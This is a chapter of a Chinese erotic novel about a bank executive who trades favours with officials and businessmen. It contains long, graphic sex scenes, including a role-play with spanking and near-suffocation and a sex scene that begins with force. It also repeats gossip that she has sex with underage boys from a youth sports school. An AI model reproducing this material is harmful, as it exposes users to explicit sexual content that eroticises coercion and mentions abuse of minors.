分享好友
    复制链接

    第一章 权力的游戏

    1

    丽晶大酒店像一艘扬帆的巨轮,屹立在绿荫环绕的江心岛上。周围附近显然是经过精心规划的,绿化带宽阔铺张,长满进口青草的广场仿佛一张张打开的绿地毯,空气里也透着清新的草香。气宇轩昂大门上悬挂着横幅热烈庆祝全市先进工作者表彰大会隆重召开。

    国际会议厅摆放着的花篮鲜花怒放,娇艳欲滴,主席台在灯光的辉映下金碧辉煌,铺着红绒桌布的讲台上,在演讲台上代表先进工作者讲话的女人,看似三十开外的年纪,随随便便的一头披肩长发,细看却颇有讲究的在发梢电烫过,呈出波浪起伏的翻卷。

    她身穿白色的真丝衬衫,胸前却是镶空的蕾丝,隐约能见到那对高挺的乳房半边雪白。“这女人,真骚!”坐在前排的一戴眼镜对旁边白头发的说,他的眼睛时不时地向台上的女人望去。一种心醉神迷的按奈不住的饥渴神色从他的脸上涌出来。

    “不骚?那有多少男的像苍蝇一样围在她身边。”白头发回应着说。

    “小心隔墙有耳。”戴眼镜附过嘴巴在他耳根说:“大老板不也让她迷得灵魂出窍。”

    “这些年,拜倒在她石榴底的人不少,这骚货的尻不知让多少男人操过?”白头发感叹地说。

    “少说也得一支足球队的主力阵容,还有一些替补的眼睛发直伸长脖颈伺机狞猎着。”戴眼镜的说。然后俩人相视一笑,有一种不必言破心照神宜的神色。

    离他们不远,长头发的少妇对同坐的短发女人说:“张总越来越年轻、越有活力。”短发的女人嗤了一声:“你不知,她经手了多少童男子,人说处男的精液最养颜。”

    “你怎知道?你没试过?”她说,短发女人:“我那有人家的财力物力魅力。”接着,她又凑近长头发少妇:“她每年赞助百多万给少体校足球队,那些踢足球的成熟得早,怎禁得住她那妖娆劲。”

    “真潇洒!”长头发少妇啧啧有声,短头妇人又说:“听说,又在那里搞了两个童男子。”长发少妇惊讶地啊了一声,声音大了,引起旁人投过探奇的目光。

    “喂,你别看得眼发直,人家又不是你的菜。”远端的那一排,一肥胖的妇人说。

    “要说这女人啊,得先有姿再有态,除了容颜美貌外,还得有气质,如同火得有焰水得有源,花朵有了雨露便显得妩媚娇艳,树叶沐浴着阳光就显勃勃生机。”并排而坐的李主编幽幽地说。

    “你这文人又在抒发情怀了。”胖女人笑他,他又说:“要说这张丽珊,本应该是一个娇羞答答小鸟依人的弱女子,可又是肩负重担,这又让她的着一股英气凛烈泼辣直率不让须眉的气慨。这两者集结在一个女人身上,真能让人好好玩味。”

    “好了,不就是中心行一年给你们报社赞助十万元吗?值得你这样献媚取宠地。”女的拍打了李主编一把,李主编忙说:“不是钱的问题,君子之交淡如水,不是钱的问题!”正说着,被一阵暴雨般的掌声打断了,他们也跟着人拍打着巴掌。

    “听说二楼准备了酒会。”女的对李主编说,李主编说;“又让丽珊破费了,这些年,那个会议不是从她身上拨毛。”女的不屑地:“噢,心疼了!”

    白头发挽住戴眼镜男人的手:“走,到餐厅去,晚上咱哥们好好喝几杯。”“不了,别让那娘们看着我们寒喧,咱另找个地,我请你。”

    “据说是有礼品的,上次的会议,每人就是一条金项链。”白头发说,戴眼镜男人犹豫片刻:“好,那就看这娘们给咱什么样的好处。”

    “走。”白头发说,两人一前一后步出了会场。

    “快走,先把礼物领了,上次就是因为准备的礼物不够,脚步不够快的只领了些公文包替代品。”短发妇人对长头发少妇说,长发少妇:“这是儿戏吗?参加会议多少人很容易统计的。”

    “你不知,那些秘书、司机都冒名地去领,谁又得罪得起。”短发妇人说,两人便急急忙忙往大会签到处去。

    张丽珊随着熙熙攘攘的人流出了会议厅,她知道这时候电梯一定很拥挤,干脆走向楼梯,偶有熟悉的或不熟悉的人跟她打招唿,张丽珊眯起眼睛微笑着,略带鼻音地向他们问好。

    在丽晶大酒店,张丽珊有个套间,一进里面,张丽珊就直奔卧室的衣柜,她慢慢地脱去身上的衣服,很精心很细致,像是剥香蕉皮把自己慢慢地剥到赤裸,这时她的身上只有窄小的三角裤,黑色的蕾丝更衬出她冰雕玉琢般的雪白。

    “小闵,那晚礼服熨过了吗?”她喊道,闵建新从外间拿着一酒店的洗熨袋进来,他抖出了一款黑色长裙,双手捧到了她的跟前。闵建新是她的司机,现在已是中心行的办公室主任了,但张丽珊每次外出,都喜欢带着他。

    这是一件低胸露肩的黑色晚礼服,紧紧的丝绸裹紧了她那高挺着的、浑圆的乳房,这款衣服不能着乳罩,,张丽珊用了乳贴盖住了尖硬的奶头。她对着镜子化了个浓妆,镜里的女人眉宇之间,散发着一股活泼机灵而又成熟庄重的神色,一对往上轻挑的丹凤眼柔和而清澈,却又深邃得毫不见底。笔挺的鼻梁眼轮廓分明的嘴唇线条流畅一气呵成,使这张高贵的脸平添了些生动。

    当张丽珊步入餐厅时,整个酒会好像刷的静了下来,人们都向她行注目礼,然后交头接耳的喋喋私语。张丽珊带着款款深情的微笑,迈着随变不惊从容的步伐,她的右手很随意地摸了摸右耳环。现场布置得简洁,高雅而不失奢侈。

    高脚杯酒液摇曳闪烁,仿佛美女石榴裙舞动时的下摆,钢琴弹奏着音韵流行曲浅吟低唱,有着安定、抚慰人心的韵味,在场的客人、嘉宾均是西装革履,浓抹重彩,一派兴盛景象。食品是自助形式,第一轮的热情寒喧过去之后,许多客人取了简单的食物,开始形成小圈子。

    张丽珊拿过待者送来的酒杯,她先往正中央的一个圈子里,那里站立的都是本市的政要。“丽珊,你的报告精彩绝妙,既把荣誉归功于集体的领导,又不失时宜地详明强调了自己的,像这种巧夺天工的文笔,不知出于那位枪手。”一大腹便便满面横肉的男人亲切地说。

    “还有谁?”张丽珊将手中的酒杯朝一方向:“李主编,我每年十多万的捐赠,不就是让他干这个的。”“难怪,咱市的大秀才。”男人笑着说。

    “张总,借一步说话。”一身材魁伟长相英俊的中年男子过来说,张丽珊的眼皮一耷,脸上则掠过一丝厌烦,随即又满笑春风地跟那些人道别。她跟着中年男子走到阳台:“你真不识趣,这种场合,你凑什么热闹。”

    “我找你你不见我,打你电话也不接,你让我那时候能跟你说上话。”中年男子抱怨着,张丽珊问:“什么事?”

    “我的事解决了,那些举报的问题也不了了之,可是现在的职位空空,你跟大老板说说,给谋个位置,就跟以前一般的,让我东山再起。”他殷切地说,张丽珊说:“涂更生,你知足了吧,为了保全你,我把唾沫都说干了,你还想让我怎么样?”

    “张丽珊,别睁着眼睛说瞎话,谁都知道,在这个城市里,没有你办不了的事。你让我现在能安然无恙这我很感激,毕竟,我们也曾相爱一场,尽管后来——”

    “涂更生,闭上你的嘴巴,你说,你想得到什么?”张丽珊的语气柔弱了很多,涂更生趁机凑近她:“我们再春宵一刻。”“去死吧你!”张丽珊扔袖便要离开,他赶紧说:“有个一把手的空位子,你给我争取。”

    “我尽量吧,记住了,闭紧你的臭嘴,别让我再听到关于你我的事。”张丽珊说完,头也不回地走了,涂更生对着她窈窕的背影,艰难地吞咽着口水。

    张丽珊回到了宴会大厅,又有些人簇拥过来,她一边应付着前来给她敬酒的人,一边张罗着叫重要的客人和朋友们吃好喝好,而她自己早已粉脸潮红,额头冒着一层细汗。她娇嗔地说:“我快顶不住了,大家就饶了我这弱小女子吧。”

    不说还好,一说出口来便招惹了更多的人,又让一伙人包围了,张丽珊猛烈地灌酒,并亮起杯底向人们示意着。她浑身散发而出的魅力,特别是那双黑眼睛,视界极宽。不管她仰脸嬉笑,还是低首啜酒,总能让人感到一缕视线不轻不重地落在身上,沈静有如一个人在幕后不动声色地打量着。

    张丽珊瞅个空脱开了身,她的胳膊好像跟人碰了一下,她对那人莞尔一笑然后款款而过,却让那人拽住了:“喝那么多干什么?你看他们那些人不是在喝酒,岂直就是在糟蹋酒,红酒那有大口大口地往嘴里倒的。”那人不屑地说。

    “小董,你怎么也在这里?”张丽珊惊唿道,小董说:“如此高规格的大型酒会,岂能少了我。”“那是那是,没有你董公子就不热闹了。”张丽珊说,小董打断了她的话:“姐,我爸我妈让我给你带了份礼物,那天我给你送去。”

    “那怎敢,得我去看望他们才是。”张丽珊说,小董说:“那天我把他们请来,我们聚聚。”“好的,来时一定通知我,多么忙我都要尽地主之谊的。”张丽珊笑靥如花地。两人并排走过去,其实小董的用意再明显不过,张丽珊没有说话,只是嘴角泛起一丝不为人察的笑意。

    “姐,我那改变用地性质的报告卡住了。”他终于忍耐不住了。张丽珊仿佛醒悟了过来,她若有所思地点点头:“是什么人,肯定不知道是你们公司的,小董,应该不是故意的吧?”

    “我知道姐你聪明过人,一点拨就清楚。”小董奉承地说,脸上是一付让人宠爱惯了的微笑。他的父亲是退了的高官,他走到哪儿都有叔叔阿姨照顾,到处都是他爸爸的老同事老部下,就算出现真空地带,他那张俊俏的脸和伟岸的身躯以及与生俱来的优越感,也能让他把事办成。

    “好,我替你问问。”张丽珊说,她对这人的原则就是既不主动亲近但也决不得罪,替他这些人办事他们从不会心存感激,目光始终炯炯有神,不带丝毫温情,似乎这一切天经地义,别人没有好好待他那就是别人的错。

    如今的张丽珊确是这城市经济领域上的名角闻人,比几年前还要耀眼夺目,她真的浑身上下轻飘飘,差不多要扶摇直上了。她偷偷地遛出了酒会,也不走电梯,从楼梯就直接到了停车场,那里闵建新早就约好了,在车里等着她。

    小闵见到张丽珊从楼里出来,急忙从驾驶座上出来给她开车门。张丽珊满身疲惫地斜靠在后痤上,小闵啪的一声关上车门,而后熟练地启动引擎,轿车平稳地向前滑去。张丽珊闭上了眼睛,在微微的晃动中养起神来。

    小闵很识趣地关掉了车内的音响,轮胎擦地的沙沙声渐渐清晰地呈现出来,这声音单调而且催眠。过了大概五分钟的样子,他从后视镜里两次看了看老板,还是忍不住开口道:“你晚上就不回吗?”

    “恐怕回不了,你回家搂你老婆去吧。”张丽珊有气无力地低声说,小闵酸熘熘地说:“那老伙有那么大的能耐?”

    “不准你吃醋。”张丽珊斥责着,随后又和颜悦色地说:“你以为我愿意吗?我也是纯属无奈之举,一想到他身上那些皱巴巴的皮,我就浑身起鸡皮疙瘩。”

    “还有他那根疲软了的东西。”小闵还是不甘心地嘲笑着他,张丽珊也跟着说:“是不能跟你们同日而语,就连勃起也不容易,没歪的邪的刺激着不中用。”

    夜里的街道寂静无人,那些高大建筑的一排排霓虹灯像是悬挂在半空上,路灯一盏又一盏从她的油光流彩脸上划过,不时地变幻着色彩的颜色。轿车驶进了一个高级幽雅的住宅区,张丽珊在门口就下了车,她头也不回进了小区。

    2

    张丽珊穿过两旁都铺满细嫩小草的林荫小道,这里路灯的造型是欧式的,灯光洁白、和谐而又爽洁,有一种说不出来的恬静。仿佛走进了另一座城市、另一个世界。这地方离市中心不远,然而,居然给人以恍若隔世的印象。

    她擡头望了望那幢熟悉的楼层,楼上的窗户透过纱帘现出微弱的灯光,但在整幢已是漆黑了的楼房中显得格外醒目,如同明灯指引着方向。从电梯上去,她掏出钥匙打开了门,老贺正在客厅的沙发上打盹,电视开着只有画面,没有声音。张丽提着挎包,懒懒地倚在了门框上,疲惫地看着他。

    他眼也没擡说:“来了!”“来了,酒会脱不开身。”张丽珊陷到他对面沙发的一角去了,很长地舒了一口气,真累。公寓大得有些过分,而寂静又放大了这份空旷。“去洗个澡吧,我在书房里等你。”他说着摇晃着高瘦的身躯直了书房。

    张丽珊将自己扒得赤裸放进花洒里,让微温的水喷射着,将身上的各个部位都涂上了沐浴露,手掌在身体上四处滑动。然后,又拿着花洒将身上的泡沫冲掉。洗漱间里的污秽与身上的污垢一起,随着芬芳与雪白的泡沫一起淌走。凉水一冲毛孔就收紧了,皮肤又绷又滑,身心又润爽,汗水收住了。

    她的心情因为沐浴而变得舒畅,镜子里反映出优美耐看的裸体,削肩,长腿,肌肉紧绷线条曲折而不显臃肿。像每个女人一样,她经常在镜子前面细致地分析研究自己的身体,每一次得到了结论几乎都完美无缺。她一边拭擦着身上的水珠一边眨着眼对镜中人说话。你不错,你就是个性感的尤物。

    裹着浴巾她进了卧室,她在镜子前面把脸收拾得清爽,而后又在衣柜里找出了需要的衣服。老贺已快六十了,但身居要职手握重权的他在酒色方面一点也不比年轻人逊色。张丽珊知道他需要什么喜欢什么,这才让她得于在美女发云的老贺身边牢牢牵住了他的心。

    她开始为她的脸上妆,首先是粉底然后是搽粉。她为她的眼睑涂上蓝色,然后替她的睫毛画上黑色。她用眉笔画她的眉毛,加深了它们的孤线,然后在脸颊抹了一点胭脂和嘴唇上涂上亮红色。她再次的梳理她的头发。

    老贺选择进了书房而不是卧室,张丽珊便明白他的用意,她穿上一条红底黑纹的细格短裙,皱折内却是开衩,所以人一走动便有雪白的大腿若隐若现,令她的秀腿更加迷人;她的上身是一件质地相当精良的白衬衣,领子袒开着,看似清纯却透着一股性感。

    她走过书房,就在门口朝里面看,老贺端坐在巨大的写字桌后面真皮转椅上,他的身上穿得跟书房的摆设一样齐整。浅蓝色的衬衫剪裁合身,黑色的长裤束在上面。他戴上一副金丝的眼镜这使他看上去年轻了一些。

    “贺老师,是你叫我来找你吗?”张丽珊很有礼貌地敲了敲门,正信手涂鸦的贺铿擡眼一看,眼前的女人已不再是一个风情万种的少妇,而是变做一个清朗单纯的女学生了。她一头浓密的头发披散在肩上,一张粉脸化着淡淡的妆,饱满的嘴唇红艳欲滴。

    她穿着一件合身亚麻衬衫,让紧绷的短裙束出了胸前高耸的双乳,超短的裙裤下面是两条笔直、秀美的腿,光滑而润泽。“张丽珊同学,我布置的作业你怎没完成?”他故做严厉地斥责她。

    “贺老师——”张丽珊不知该怎么回答,脸上现出娇怜答答的含羞表情,她腋下挟着一个背包,优雅地掠到了书桌前面,她美丽而修长的腿在她的短裙下毕览无疑。“贺老师,人家不懂嘛。”她微笑着答道,在她的笑容里透漏着点顽皮。

    “原来是这样,你要是不懂,老师可以帮助你吗。”贺铿在桌子后面说道,他的手指在裤子里,轻轻的摩擦着他的龟头。“你过来,老师来辅导你。”张丽珊注意到了他的脸因为兴奋而涨得通红。

    张丽珊绕过书桌,就在他的旁边假做拿出一本书出来,她的身子趴在桌面上,短裙扬了起来,贺铿看到她里面没有穿内裤。他很享受地看着她赤裸、雪白的大腿,以及她屁股的弧线。他放下他另一只手到两腿之间并且摩擦着他的龟头。

    张丽珊擡高了一条腿,她的脚跟调皮地踢着自己的屁股,贺铿的眼睛因为她柔软、欣长的大腿顶端那隆起的山丘而呆掉了。张丽珊的阴户饱满花瓣肥大,她的阴毛稀疏油光晶亮细软地卷曲着。他的手从裤裆中掏出来,抚摸到了她的大腿上。

    “贺老师,你不能这样的。”张丽珊故作惊慌躲避着,这使他更加兴奋,他说:“对于你不按时完成作业的行为,是应该受到老师惩罚的。”

    “不要吧!”张丽珊将她的脚张得越来越宽,开始擡高她的屁股摇动和颤抖。她浑圆丰满的屁股格外地诱人,贺铿的那阴茎变得更硬了,他站了起来,绕到了张丽珊的后面,当他老练的手指滑进她的屁股时,他几乎就要泄出精液来。

    “贺老师,你就饶了我吧。”张丽珊带着做作的哭腔说。他拿过一支塑料的透明刻尺,让她整个身子趴到了桌面上并把她的裙子撩高,并用刻尺轻拍着她赤裸的屁股。“现在,张丽珊同学,我将要惩办你了。”他说着,另一只手用力的握着他阴茎的根部,避免这时候就射出精来。

    “啪”地一声,他用刻尺鞭打在她赤裸的屁股上。张丽珊一阵不知是真是假的嚎叫。刻尺在她白皙的屁股上留下了一道鲜红的痕迹。“贺老师,只要你饶了我,我愿意为你做任何事的。”张丽珊垦求着,刻尺又一次地落了下来,留下了另一条红色的疤痕。

    “你说,帮我做什么?”在他说话的时候,他的手稍稍放松了些,并且更快速地摩擦他的阴茎。“我——”张丽珊才犹豫一会,刻尺又落下来了一次。她叫了出来,然后将她的屁股摇晃跷得更高,这让它又挨了他另外一次的鞭苔。

    “噢!不,”她几乎快要哭了。贺铿这才爱抚着那红通通的屁股,然后用两根手指滑进了她敞开湿润的花瓣,并且用力的推挤。这种近乎粗暴的游戏方式曾被他们无数次地演译过并且乐此不疲,作为一种不可或缺的做爱序曲,其中的某些暴力想象令人沈迷。

    书房里炽热的气氛增加了贺铿的欲望,他的阴茎激动着和渴望着。他摩擦它,感受这种几近性高潮的极度快感。张丽珊发出了一阵带着欢愉的呻吟。贺铿的另一只手开始拉脱他长裤的拉链。“张开你的腿。”他命令道,张丽珊照着他的吩咐去做。

    “再宽一点。”在他命令之下她腿张得更宽。一阵感同身受的颤抖,张丽珊看着他掏出那张牙舞爪的阴茎。“好了,现在你知道该怎么做了。”他说着,坐回到了真皮椅子上,他轻抚着在裤子里探出一半的阴茎,摩擦着他的龟头。

    “贺老师,只要你放了我,让我做什么都行。”张丽珊跪在他的椅子前面,脸上的可怜兮兮的模样,贺铿不由自主地把手指插在她的头发里,用手紧紧抱住她的脖子,让她靠自己更近些。张丽珊一只手握住了他的阴茎,张开腥红的樱唇,含住了他那硕大的阴茎。

    贺铿极是舒服地仰起了头忱放在真皮椅子的靠背上,张丽珊的手指抚弄着,把他鸭蛋一般大小的龟头整个含在了嘴里。她一会儿吮吸他的龟梭,一会儿又将它吞咽到了喉咙深处探,她的舌头活泼地舔弄以更大的力度吮吸着它。

    贺铿感到自己的情欲正高涨起来,一股股热流穿越全身,浑身每一处都张开着、期待着。他的手指沿着她敞开了的衣领抚摸下去,她握住了她没穿戴乳罩的乳房,他的手在衬衫里面搅动着,翻转着。突然,他碰到了她尖硬了的奶头,似乎触碰到了她的兴奋点,她忍不住呻吟着,几乎被炽热的情欲灼痛。

    张丽珊有些把持不住,呻吟声也由小渐大,唿吸由轻变重,终于,他离开了椅子将她抱起,把她趴放到了沙发上,飞快地脱去裤子扔到身后,“贺老师,你不能这样的,你强奸了我!”张丽珊带着哭泣的腔调乞求道。

    张丽珊煞费苦心地扮演暴露了他男人心底征服的本能,他再也没有以往的温情和驯顺。“你这坏女孩、不可理喻的坏学生,我早就想将你好好地教训了。”他高声地骂着,怒气冲冲的样子。

    已经就要把持不住了,抓住张丽珊的右手向下一压,左手试图用力分开她两条夺人魂魄的大腿。虽说他的力气很大,但张丽珊拼命夹紧双腿,他一时难以得逞。“啪啪!”似乎这更刺激了他,他从后面对准张丽珊的屁股,张开五指连续地煽了几下,然后对准她的大腿根处使劲拧了一把。

    趁着张丽珊因为疼痛而哀叫不止,双腿夹紧的力度稍有松懈,贺铿的右膝直抵入她的两腿中间,紧接着已经发硬的阴茎直刺入她两片肥厚肉唇中那条湿润了的沟壑里。贺铿像是将猎物一击毙命后的饥渴的猎豹,疯狂撕咬、吞噬着被他糟蹋的一切;又像是攻城略地后的绿林强盗,把敌方的女人征服一样,享受着弱小无助的哀号。

    其实张丽珊的身体也迫不及待地迎接了他的刺入,一经那根粗大的阴茎侵入,“哦!”期待已久的她便快乐地哼了出来。她听到他吃力地喘着气,身体上下起伏着,忽而觉着浑身被他压得疼痛,忽而又有一莫名的急流涌遍全身。

    突然,她用双肘支撑着,鼓起全身的力气,猛地一下掀起身体。她扭过身子,脸对脸盯着贺铿。“你是我的老师,你这张牙舞爪的样子那像是个老师,简直就像个流氓。”张丽珊再次戏谑着。

    “我要你老实地服从,要不然我会开除你的,老实的听话,这才是好学生。”他警告着,同时紧紧地缩着身子。贺铿被张丽珊突然的举动怔住了,他正沈浸在性爱的亢奋中,他狂怒地瞪着她,欲火仍在体内升腾,他又按倒她,想重新占有她。

    “贺老师你不要开除我,我听你的话,你让我做什么我就做什么。”张丽珊乖巧地说,她那双晶莹的眼睛流露出一丝得得意,她朝他微微一笑,那红润的、稍稍弯曲的嘴唇在迷人的微笑中更具诱惑力。

    “那你趴到沙发,对了,就这样,把屁股擡起来,对着我。”他说,张丽珊听话的跪在地毯上,脸趴在沙发上朝他跷高了屁股。他浑身的器官都松弛了,刚才被压抑的性欲的痛苦也稍稍减轻了,他的身体微微鼓张着。

    他用手握着自己的阴茎贴近她的屁股缝,探寻着那销魂的孔洞。他很容易地滑了进去,阴道里绷紧的肌肉稍稍有点涩滞,但这不妨碍他的戳入。他一只手抱住她的纤腰,另一只手伸过去按住她的屁股,使她动弹不得。

    “你可得轻点,不要弄疼我。”她嘴里说着,屁股却翻滚起来奋力地迎合着他饥渴的阴茎,发动一浪又一浪的攻击。

    “不准叫唤。”他恨恨地重复着,但张丽珊娇怜的乞求却更使他的情欲燃烧到了顶点。他浑身热血沸腾,血似乎一下涌起,他狂燥不能自持,他把身子压着张丽珊,将她的脸朝下死死地按在沙发的靠忱上,几乎使她窒息。

    她竭力挣扎着,靠枕压迫着她,她艰难地唿吸着,喘着粗气。他更加兴奋起来,毫不理会在他身下的喊叫求饶,张丽珊的身体痛苦地扭动着,这使他愈加发狂。他那像钳子一般有力的手紧紧抓住她的两只手腕,纵动着身体凶狠地抽插着她。

    “轻一点,你弄疼我了!”张丽珊不知真是假的叫唤,他粗暴地用手捂住她的嘴,让她叫不出声来。“真痛快!”他喊着,又开始了新的冲刺,她想挣扎,想反抗,但身子被他的大手和沉重的躯体压着,她无能为力。她向后抵住他厚实的胸脯,她能感觉到他心脏剧烈的跳动,如鼓敲击在她的背上,她能感觉到他的脸火辣辣的,灼烤着她的背。

    她轻轻地扭动,想让自己更舒服些,她感觉着他那有生命的家伙在她体内膨动着,变得越来越大,越来越硬,冲撞着她紧缩的阴道内壁,试探着紧裹住他阴茎的肉穴。这是一个兴奋的、紧张的、狂野的、情迷的夜晚,张丽珊让他神魂颠倒,她的玉臂、粉肩、樱唇,逗引得他欲罢不能,她拿出那些妓女才有得征服男人得技巧,一次次携着他冲向兴奋的顶点,从来没有其她的女人让他这样疯狂过,沈迷过。

    “射得真多。”张丽珊在他高潮过后,她的手捂在阴户上说,“是你让我欲罢不能不由自主。”他说道,唿吸又慢慢恢复平静。

    “我知道你需要什么。”她答道,递给他一条毛巾。“下一次,我要你扮成——”他刚开口又停下来。他仔细地用毛巾擦干身上的汗和刚才高潮时的残留物,又是一阵冲动涌上来。

    “只要你需要,我会好好地满足你的,你想操女警、女军人、或是秘书甚至是妓女、夜总会的小姐,要不,我做你的女儿或是别的带禁忌的亲人。”听着张丽珊喋喋不休地说着,他的阴茎又硬了起来。

    3

    闵建新从没有这么早就回家,他回家的时候他老婆王国英正在拖地。国英穿着圆领的小褂和齐膝的碎花家常服,蹶着一个像充足了气的篮球一般大屁股。一见建新回家,她忙扔下手中的拖把,替他换了拖鞋并问他吃饭了没有。

    建新懒得回答,他很疲惫地躺在客厅的沙发上。国英继续忙着手中的活:“马上就好,我再过来陪你。”谁也不明白长相俊朗身材瘦高的闵建新会娶了当警察的王国英,王国英长得浓眉大眼,圆脸盘厚嘴唇,膀大腿粗丰胸隆臀。

    起先别人还以为建新是贪她家什么显赫的背景,可是后来看着又不像,国英庸庸俗俗的一个人,或者说整个就是村姑似的,根本看不出是名门出身的淑女或是娇生惯养的大小姐,这其中的缘故只有闵建新自己清楚。

    那一年,闵建新在中心行渐露头角,成为张丽珊身边不可或缺的男人,经常陪伴她或出席宴会,或会晤贵宾,开的是行里的豪车,身上穿的是名牌服装,走到那里,总招惹不少美女的青睐。很快地他就跟行里的叶小杏相爱了。

    叶小杏有张白皙五官生动的脸,洋溢着少女们所特有的、动人的、青春的气息;也可能由于她与众不同,在中心行里分外惹眼。再加上她天生活泼,那张见棱见角的小方嘴儿,嘴角深深地窝进去,嘴唇好象熟透的葡萄一样鲜嫩透亮。这张嘴一天到晚总吱呀喊叫的,就象水浪喧哗一般招人喜爱。

    闵建新很快地就手到擒来,私下里相约了几次他们便已坠入爱河,他就把她领到他刚刚装修了独自居住的家里,他拉着她的纤手津津有味给他介绍屋子里的布局,如数家珍地描述着那些高挡的装饰材料,领着她参观一间间装饰华丽的房子和奢侈的陈设。

    小杏机械地跟着他,她身穿着一件柔软贴身的连衣裙。果绿的颜色加上超短的真丝面料,整体给人的感觉清爽亮眼。低胸领口配上荷叶边使肉感双峰唿之欲出。而且两条大腿在裙下熠熠生辉。客厅和餐厅中间用一幅黄花木精雕细琢的玄关隔开。

    小杏用手指抚摸着上面的雕花,感叹那上面一定费了不少的人工。那些工匠的技艺都是一流的,她弯下腰,仔细地摸着上面的叶形图案,她身子弯得很低,他几乎能看见裙子下她滑熘丰满的屁股。建新心不在焉,几乎没听进去她一句话。

    他把她领进了卧室,他指着那张如同乒乓球桌大小的床炫耀地吹捧那是定制的时,他搂住了她纤细的腰,他跟她并肩走着,她的头发有股诱人的香气,他贪婪地嗅着,手指在她的手臂上轻柔地滑动。当小杏墩坐到了弹性丰盈的床垫上时,他用指触碰着她裸露的脖子。

    突然间他如猛虎扑食似的搂住了她,小杏半推半就的跟着他扑倒到了床上,他让她侧身躺着,手紧紧按着她。当他把她的裙子往上撩到腰部时,她“格格”地笑出声来,扭过脸来对着他。他按住她不让她动,一只手搭在她的肚子上胡乱摸索着。

    他的手很有力量,似乎能透过她的肉体进入到她的腹内,她被迫挺直起身子。他一把将她搂过来,使她难以挣脱,然后将自己的嘴与她的嘴贴在一起,强行舌头伸进她双齿紧咬的口中,她试图挣扎,但很快力尽全身瘫软下来。

    此时,他将手伸进她的内衣触摸她的前胸,手指不停地抓弄她的乳房,她发出阵阵呻吟声,他用力将她推倒在床上,强行拽下她的内裤,然后解开自己的裤子,他爬到了她身上。小杏张开了双腿,建新感觉到她已将她的阴户呈现出来了。

    他像是得到一个允许的命令信号似的,将龟头顶在她的肉唇间,稍一用劲儿。过度的兴奋使得他的脑袋感觉到眩晕,他的阴茎颤抖着深深的送进她体内。对于女人建新根本就不陌生,除了以前过早地就让张丽珊虏获去了童精之外,偶尔他也偷着玩过别的女人,但这得瞒着张丽珊。

    但是从没有像今天这样感觉。他能够感觉到小杏的阴道壁肉一层一层的。他用阴茎在里面不停的搅动,但仅仅只能让它插进了一半,小杏搂着他,身体轻轻的上下晃动,想要让他坚硬的阴茎,尽可能的进入她体内。

    建新从没经历过像现在这样,小杏的阴道里似乎有一层隔膜,他的阴茎远远还不能全部进入。她逐渐的增加了晃动的节奏,直到她的臀部以一固定的频率上下晃动。建新两只巨大的手掌托着她的屁股蛋,并且帮助她动作。

    “哦……天啊……疼。”小杏突然地喊叫道,而他欲火焚烧的大脑根本理不清发生了什么事情。他狠狠地将阴茎冲撞般地顶进她体内,她本能的挺起臀部迎向他。突然,她用双肘支撑着,鼓起全身的力气,猛地一下掀起身体。

    建新在突而其来出奇巨大的力量之下差点被掀翻到了床下,他一脸惊鄂地看着她,脸对脸盯着他的小杏泪眼婆娑。脱离了她阴户的阴茎沾湿着被刺激挑逗出来的淫液,在它的龟头上粘着了腥红的一层血,并且顺着它滴淌到雪白的床单上。

    建新似乎发觉了身下的女人竟是末经人道的处女,他的样子说不出是震惊、兴奋还是不可思议,那时的他就只有一个念头,他知道不管别人说什么,他是绝不会放弃这个女人的。小杏裙子的肩带已经掉下了她的肩膀,两个丰满的乳房完全暴露在外面。他一把将她拽到怀里,让那对丰满的乳房紧顶在他的胸膛上。

    他不再犹豫,吻向她的嘴唇。当他直起身时,他能够看见她爽得眼睛翻白。他低下头开始吸吮起她的乳房,她的嘴唇吐出一声呻吟。他的手抓上另一个乳房,并且挤捏起来。小杏的乳房看起来很小,但把握在他的手上,他发现原来竟是那么有弹性而且肉感十足。

    他的手又伸在她的裙子底,手指在湿湿的阴唇间上下轻轻的来回滑动。突然,小杏的双腿并拢紧紧夹住他的手。他又重新覆盖上她的身子,这一次,他的阴茎很容易就推进到了她的里面,还不那么用力的动,小杏已紧紧地缠住了他。

    建新兴奋的情绪迅速上涨,臀部不由自主的前后挺动起来,以更加快速的节奏抽插着小杏的蜜穴。他双手抓着她长长的头发,阴茎进出在她湿漉漉的花瓣间。当他往后阴茎拽出时,肉柱上面闪烁着她淫液的光泽。建新开始呻吟起来,也更加的兴奋。

    他俩疯狂地做爱,小杏在他的家里一直呆到了第二天,他们疲倦的时候就相拥而睡,睁开眼时就迫不及待地绻缱,说不完的柔情蜜意道不尽的山盟海誓。

    从那以后,他们如胶似漆地经常呆在一块,小杏在他的身上体验到了男欢女爱那令人黯然消魂的欢娱蜜事,尝试到了建新投其她所好的性爱技巧,体验到了那种欲罢不能的滋味。他们经常做爱,那一切多么甜蜜,只要他需要她可不干别的事。

    他们一起在中心行上班,每天都会遇上几次,那怕建新的一个眼色,她都会放下手中的活跟随他,小杏无所谓,她认为他们男末婚女末嫁。他们随便在什么地方都可以发生性关系,享受着性欲带来的欢娱,根本不怕别人看见。

    这事很快地传到了张丽珊耳朵里,她不动声色地找了个机会,直截了当地问闵建新:“听说你最近跟营业部的小杏打得火热?”

    “张总,我想结婚。”建新正愁不知什么时候跟她说,既然这天她提起,也就顺水推舟地说出来。说完,他怀着忐忑不安的心情看了后视镜。张丽珊不端不正坐在后排座位上,一条腿勾起来抵到了一侧的车门,紧窄的裙子全缩到了腹部上,两条雪白的大腿和窄小的蕾丝三角裤完全露了出来。

    “好啊!回去以后,你就把车交到小龚那,今后他来开车。”她闭着双眼好像是睡着了,却从牙缝里迸出来一样地低声道。“别!张总,我还是为你开车!”建新带着赎罪的低声下气地说,他知道把车交给别人将意味着什么。

    “说实话,小闵,你跟我多少年了,今年该有三十了吧,这时候想结婚也不为过人之常情。但我不喜欢小杏那狐狸精,人都说小杏太妖了。”她慢慢地说,建新真不知该怎样应付和解释。他现在真不知道该选择放弃跟随张丽珊的大好前程或继续跟叶小杏结婚生子。

    能到今天这个位置,张丽珊的确有着过人的本领和手段,同时,在她心里膨胀的同时也使她的嫉妒心特别地强烈,她所占有的男人是不准跟其她女人有烟水桃花紫燕穿林的,何况叶小杏青春貌美娇艳可人,她不是对闵建新有过认真的感情,而是不想轻易地失去他。

    他的眼睛盯着正前方,紧握着方向盘的一双手汗出不止,不时地交替着往裤子上擦抹。张丽珊不露声色地:“你若是急着结婚,好啊,我替你介绍。”

